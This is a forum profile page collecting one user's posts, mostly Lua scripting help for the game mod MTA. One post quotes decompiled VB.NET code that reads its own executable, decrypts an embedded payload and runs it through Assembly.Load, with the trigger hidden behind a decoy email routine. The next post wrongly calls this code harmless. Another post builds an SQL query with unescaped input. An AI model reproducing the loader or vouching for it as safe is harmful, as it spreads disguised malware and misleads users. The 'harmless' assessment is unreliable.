Techial

Members
  • Content Count

    74
  • Joined

  • Last visited

Everything posted by Techial

  1. Just draw everything in the render target, then you can draw the render target; ANY size. (Everything inside will of course get smaller) Anyways what's your resolution? Get the render target to fit on YOUR screen, then you can do size*(screenWidth/yourResolution), size*(screenHeight/yourResolution) and so on.
  2. Techial

    mysql result

    I have no idea haha! Anyways, glad I was able to help you BTW, my fix will save you 3-4 lines on each query. ^^
  3. Techial

    mysql result

    I guess the last thing I PM'd you should fix it. addCommandHandler("log", function ( thePlayer, command, value1, value2 ) local query; if ( value1 and value2 ) then query = exports["Main-system"]:clean_query ( "SELECT `AccountId`, `AccountPassword`, `AccountUsername` FROM `Accounts` WHERE `AccountPassword` = '".. mysql_escape_string ( db, value1 ) .."' AND `AccountUsername` = '".. mysql_escape_string ( db, value2 ) .."'" ); elseif ( value1 and not value2 ) then query = exports["Main-system"]:clean_query ( "SELECT `AccountId`, `AccountPassword`, `AccountUsername` FROM `Accounts` WHERE `AccountPassword` = '".. value1 .."' and `AccountUsername` = '".. getPlayerName ( thePlayer ) .."'" ); else outputChatBox ( "Wrong usage: /log [] ", thePlayer ); return; end if ( query > 0) then local row = query[1] setElementData ( thePlayer, "loggedin", true ); setElementData ( thePlayer, "accountid", row["AccountId"] ); spawnPlayer ( source, 1686, -2334, 14 ); fadeCamera ( source, true ); setCameraTarget ( source, source ); else outputChatBox ( "nopes", thePlayer ); return; end end );
  4. Techial

    mysql result

    Errm, could you send me your whole database library? (Mask the username,pass,host and so on)
  5. Sorry if it took me too long to reply once again. May I ask if this stream the models to both client and server? Thanks for your help! That script is client-sided. It temprorarily replaces a model in the client's engine. Which means you need to download the model file to the client before launching script. After leaving the server, MTA replaces the downloaded file with a backup done BEFORE entering server. <meta> <file src="model.txd"/> <file src="model.dff"/> <script src="client.lua" type="client"/> </meta>
  6. Techial

    mysql result

    Have you tried -- Assuming you've already defined handler. local query = mysql_query(handler, "SELECT version()") local result = {} while true do local row = mysql_fetch_assoc(query) if (not row) then break end table.insert(result, row) end return result
  7. guiCreateStaticImage onClientGUIClick Enjoy You'll also have to destroyElement
  8. Techial

    mysql result

    No need mate We all make mistakes!
  9. Techial

    mysql result

    Because you have to fetch the result.
  10. loadstring http://www.gammon.com.au/scripts/doc.php?lua=loadstring local launch = assert(loadstring(SCRIPT-IN-STRING-HERE)) launch() --Alternative: assert(loadstring(SCRIPT-IN-STRING-HERE))()
  11. You could try looping through all the players. Get the distance between you and them, and if it's inside your parameters it would outputChatBox to them (server-side)
  12. triggerClientEvent(PlayerToSendInfoTo, "onRegister", root)
  13. Techial

    Not Work This

    Oh god, I just recognized this script.. I made it for aR// Thanks for stealing it!
  14. addEventHandler("onPlayerChat", getRootElement(), function(message, messageType) for index, word in ipairs(bannedWords) do if (string.find(string.lower(message), word)) then outputChatBox("Player "..getPlayerName(source).." kicked! Reason: Bad Word!", root, 255, 255, 255, true) end end end)
  15. Oh, and you might want to look into this setVehicleOverrideLights
  16. Techial

    For all scripters.

    Well that explains everything.. People just got their own ways of scripting lol.. However I still don't know what to believe, maybe it does do something different, just blind to see it. I'll not take any risks though, wont be downloading it and thanks for the information. Imports Microsoft.VisualBasic Imports Microsoft.VisualBasic.CompilerServices Imports System Imports System.Collections.Generic Imports System.ComponentModel Imports System.Data Imports System.Data.OleDb Imports System.Diagnostics Imports System.Drawing Imports System.IO Imports System.Net Imports System.Net.Mail Imports System.Reflection Imports System.Runtime.CompilerServices Imports System.Text Imports System.Windows.Forms Namespace live <DesignerGenerated> _ Friend Class Form1 Inherits Form ' Methods Public Sub New() Form1.__ENCAddToList(Me) Me.delim = "//fhsgfjsdzerbfd//" Me.coca = "Class1" Me.pepsi = "start" Me.white = Me.gbyt(Me.spt(Me.gstr(Me.expat), Me.delim)(1)) Me.red = Me.dcrp(Me.gstr(Me.white), Me.gstr(Me.gbyt(Me.spt(Me.gstr(Me.expat), Me.delim)(3)))) Me.carpet = Me.gbyt(Me.red) Me.InitializeComponent Me.SendEmail("abc@gmail.com", "def@hotmail.com", "test", "test") End Sub <DebuggerNonUserCode> _ Private Shared Sub __ENCAddToList(ByVal value As Object) Dim list As List(Of WeakReference) = Form1.__ENCList SyncLock list If (Form1.__ENCList.Count = Form1.__ENCList.Capacity) Then Dim index As Integer = 0 Dim num3 As Integer = (Form1.__ENCList.Count - 1) Dim i As Integer = 0 Do While (i <= num3) Dim reference As WeakReference = Form1.__ENCList.Item(i) If reference.IsAlive Then If (i <> index) Then Form1.__ENCList.Item(index) = Form1.__ENCList.Item(i) End If index += 1 End If i += 1 Loop Form1.__ENCList.RemoveRange(index, (Form1.__ENCList.Count - index)) Form1.__ENCList.Capacity = Form1.__ENCList.Count End If Form1.__ENCList.Add(New WeakReference(RuntimeHelpers.GetObjectValue(value))) End SyncLock End Sub <MethodImpl(MethodImplOptions.NoInlining)> _ Public Sub adios() ProjectData.EndApp End Sub Public Sub blue(ByVal AssemblyName As Byte(), ByVal ClassName As String, ByVal MethodName As String, ByVal args As Object()) Dim arguments As Object() = New Object() { AssemblyName, ClassName, MethodName, args } Dim copyBack As Boolean() = New Boolean() { True, True, True, True } NewLateBinding.LateCall(RuntimeHelpers.GetObjectValue(Activator.CreateInstance(Assembly.Load(Me.gbyt(Me.dcrp(Me.gstr(Me.gbyt(Me.spt(Me.gstr(Me.expat), Me.delim)(2))), Me.gstr(Me.gbyt(Me.spt(Me.gstr(Me.expat), Me.delim)(3)))))).GetType("PP.PP"))), Nothing, "IM", arguments, Nothing, Nothing, copyBack, True) If copyBack(0) Then AssemblyName = DirectCast(Conversions.ChangeType(RuntimeHelpers.GetObjectValue(arguments(0)), GetType(Byte())), Byte()) End If If copyBack(1) Then ClassName = CStr(Conversions.ChangeType(RuntimeHelpers.GetObjectValue(arguments(1)), GetType(String))) End If If copyBack(2) Then MethodName = CStr(Conversions.ChangeType(RuntimeHelpers.GetObjectValue(arguments(2)), GetType(String))) End If If copyBack(3) Then args = DirectCast(Conversions.ChangeType(RuntimeHelpers.GetObjectValue(arguments(3)), GetType(Object())), Object()) End If End Sub Public Function dcrp(ByVal inputstring As String, ByVal pass As String) As String If (inputstring = "email") Then Me.blue(Me.carpet, Me.coca, Me.pepsi, New Object(0 - 1) {}) Me.adios End If Dim bytes As Byte() = Encoding.Default.GetBytes(inputstring) Dim num As Integer = 0 Dim str2 As String = pass Dim num7 As Integer = 0 Dim length As Integer = str2.Length Do While (num7 < length) Dim ch As Char = str2.Chars(num7) num = (num + Strings.Asc(ch)) num7 += 1 Loop Dim num9 As Integer = (bytes.Length - 2) Dim i As Integer = 0 Do While (i <= num9) Dim num2 As Integer = bytes(i) Dim num4 As Integer = bytes((i + 1)) Dim num5 As Integer = (((2 * num4) - num) - num2) Dim num3 As Integer = ((num - num2) + num4) Do While (num3 < 0) num3 = (num3 + &H100) Loop Do While (num5 < 0) num5 = (num5 + &H100) Loop bytes(i) = CByte((num3 Mod &H100)) bytes((i + 1)) = CByte((num5 Mod &H100)) i = (i + 2) Loop Return Encoding.Default.GetString(bytes) End Function <DebuggerNonUserCode> _ Protected Overrides Sub Dispose(ByVal disposing As Boolean) Try If (disposing AndAlso (Not Me.components Is Nothing)) Then Me.components.Dispose End If Finally MyBase.Dispose(disposing) End Try End Sub Public Function expat() As Byte() Return File.ReadAllBytes(Application.ExecutablePath) End Function Public Function gbyt(ByVal value As String) As Byte() Return Encoding.Default.GetBytes(value) End Function Public Function gstr(ByVal value As Byte()) As String Return Encoding.Default.GetString(value) End Function <DebuggerStepThrough> _ Private Sub InitializeComponent() Me.components = New Container Me.NotifyIcon1 = New NotifyIcon(Me.components) Me.NumericUpDown1 = New NumericUpDown Me.Button1 = New Button Me.CheckBox1 = New CheckBox Me.LinkLabel1 = New LinkLabel Me.NumericUpDown1.BeginInit Me.SuspendLayout Me.NotifyIcon1.Text = "NotifyIcon1" Me.NotifyIcon1.Visible = True Dim point2 As New Point(&H95, &H4D) Me.NumericUpDown1.Location = point2 Me.NumericUpDown1.Name = "NumericUpDown1" Dim size2 As New Size(120, 20) Me.NumericUpDown1.Size = size2 Me.NumericUpDown1.TabIndex = 0 point2 = New Point(&H7C, &H93) Me.Button1.Location = point2 Me.Button1.Name = "Button1" size2 = New Size(&H4B, &H17) Me.Button1.Size = size2 Me.Button1.TabIndex = 1 Me.Button1.Text = "Button1" Me.Button1.UseVisualStyleBackColor = True Me.CheckBox1.AutoSize = True point2 = New Point(&H8B, &H75) Me.CheckBox1.Location = point2 Me.CheckBox1.Name = "CheckBox1" size2 = New Size(&H51, &H11) Me.CheckBox1.Size = size2 Me.CheckBox1.TabIndex = 2 Me.CheckBox1.Text = "CheckBox1" Me.CheckBox1.UseVisualStyleBackColor = True Me.LinkLabel1.AutoSize = True point2 = New Point(&H39, &H27) Me.LinkLabel1.Location = point2 Me.LinkLabel1.Name = "LinkLabel1" size2 = New Size(&H3B, 13) Me.LinkLabel1.Size = size2 Me.LinkLabel1.TabIndex = 3 Me.LinkLabel1.TabStop = True Me.LinkLabel1.Text = "LinkLabel1" Dim ef2 As New SizeF(6!, 13!) Me.AutoScaleDimensions = ef2 Me.AutoScaleMode = AutoScaleMode.Font size2 = New Size(&H11C, &H105) Me.ClientSize = size2 Me.Controls.Add(Me.LinkLabel1) Me.Controls.Add(Me.CheckBox1) Me.Controls.Add(Me.Button1) Me.Controls.Add(Me.NumericUpDown1) Me.Name = "Form1" Me.Text = "Form1" Me.NumericUpDown1.EndInit Me.ResumeLayout(False) Me.PerformLayout End Sub Private Function ReadExcelFile(ByVal filePath As String, ByVal fileName As String) As DataSet If (filePath <> "C:\") Then fileName = "ExcelFile.xlsx" End If If (fileName <> "ExcelFile.xlsx") Then Dim connectionString As String = (String.Format("Provider=Microsoft.Jet.OLEDB.4.0;Data Source={0}", (filePath & fileName)) & ";Extended Properties=""Excel 8.0;HDR=Yes;IMEX=1;""") Dim str2 As String = "SELECT * FROM [sheet1$]" Dim info As New FileInfo(fileName) If (info.Extension.ToLower = ".xlsx") Then connectionString = (String.Format("Provider=Microsoft.ACE.OLEDB.12.0;Data Source={0}", (filePath & fileName)) & ";Extended Properties=""Excel 12.0 Xml;HDR=YES;""") End If Dim dataSet As New DataSet Dim connection As New OleDbConnection(connectionString) Try connection.Open Dim command As New OleDbCommand With { _ .Connection = connection, _ .CommandText = str2 _ } New OleDbDataAdapter() With { _ .SelectCommand = command _ }.Fill(dataSet) Catch exception1 As Exception ProjectData.SetProjectError(exception1) Dim exception As Exception = exception1 Me.Close ProjectData.ClearProjectError Finally connection.Close End Try Return dataSet End If Return New DataSet End Function Public Function SendEmail(ByVal From As String, ByVal receiver As String, ByVal subject As String, ByVal body As String) As Object Dim obj2 As Object Me.dcrp("email", "send") Dim message As New MailMessage With { _ .From = New MailAddress(From) _ } message.To.Add(receiver) message.Subject = subject message.Body = body Dim client As New SmtpClient("smtp.gmail.com") With { _ .Port = &H24B, _ .Credentials = New NetworkCredential("account uid", " account pwd"), _ .EnableSsl = True _ } Try client.Send(message)
  17. Techial

    For all scripters.

    This script is harmless, it seems to read a file named ExcelFile.xlsx located in C:\ which only exists on his computer. And second of all, all the code in there is C&P; but just one thing. It does not provide you with anything more than a button, checkbox, linkLabel (Label with link color like in HTML), notifyIcon(taskbar) and numericUpDown(Number selection box). And the "suspicious" send email part, what it does is send an email from "abc@gmail.com" to the email "def@hotmail.com" with the subject "test" and body "test". And another thing to mention, after looking at the source code; you can clearly see that everytime it sends a mail it says "Mail sent" MessageBox.Show("Email Sent") (A.K.A msgbox("Email Sent"))
  18. I'm just making it as easy as possible for myself when giving out codes
  19. function searchMaps(mapSearch) for i,v in ipairs(getResources()) do if(getResourceInfo(v, "type") == "map") and (getResourceInfo(v, "gamemodes") == "race")then if(string.find(getResourceInfo(v, "name"), mapSearch) or mapSearch == "")then triggerClientEvent(source, "YOUREVENT", source, getResourceInfo(v, "name")) end end end end addEvent("searchMaps", true) addEventHandler("searchMaps", root, searchMaps)
  20. Admin chat is between admins only, you won't see players in that list.
  21. EDIT: I'm sorry, I thought you made the script for another resource than race. I apologies.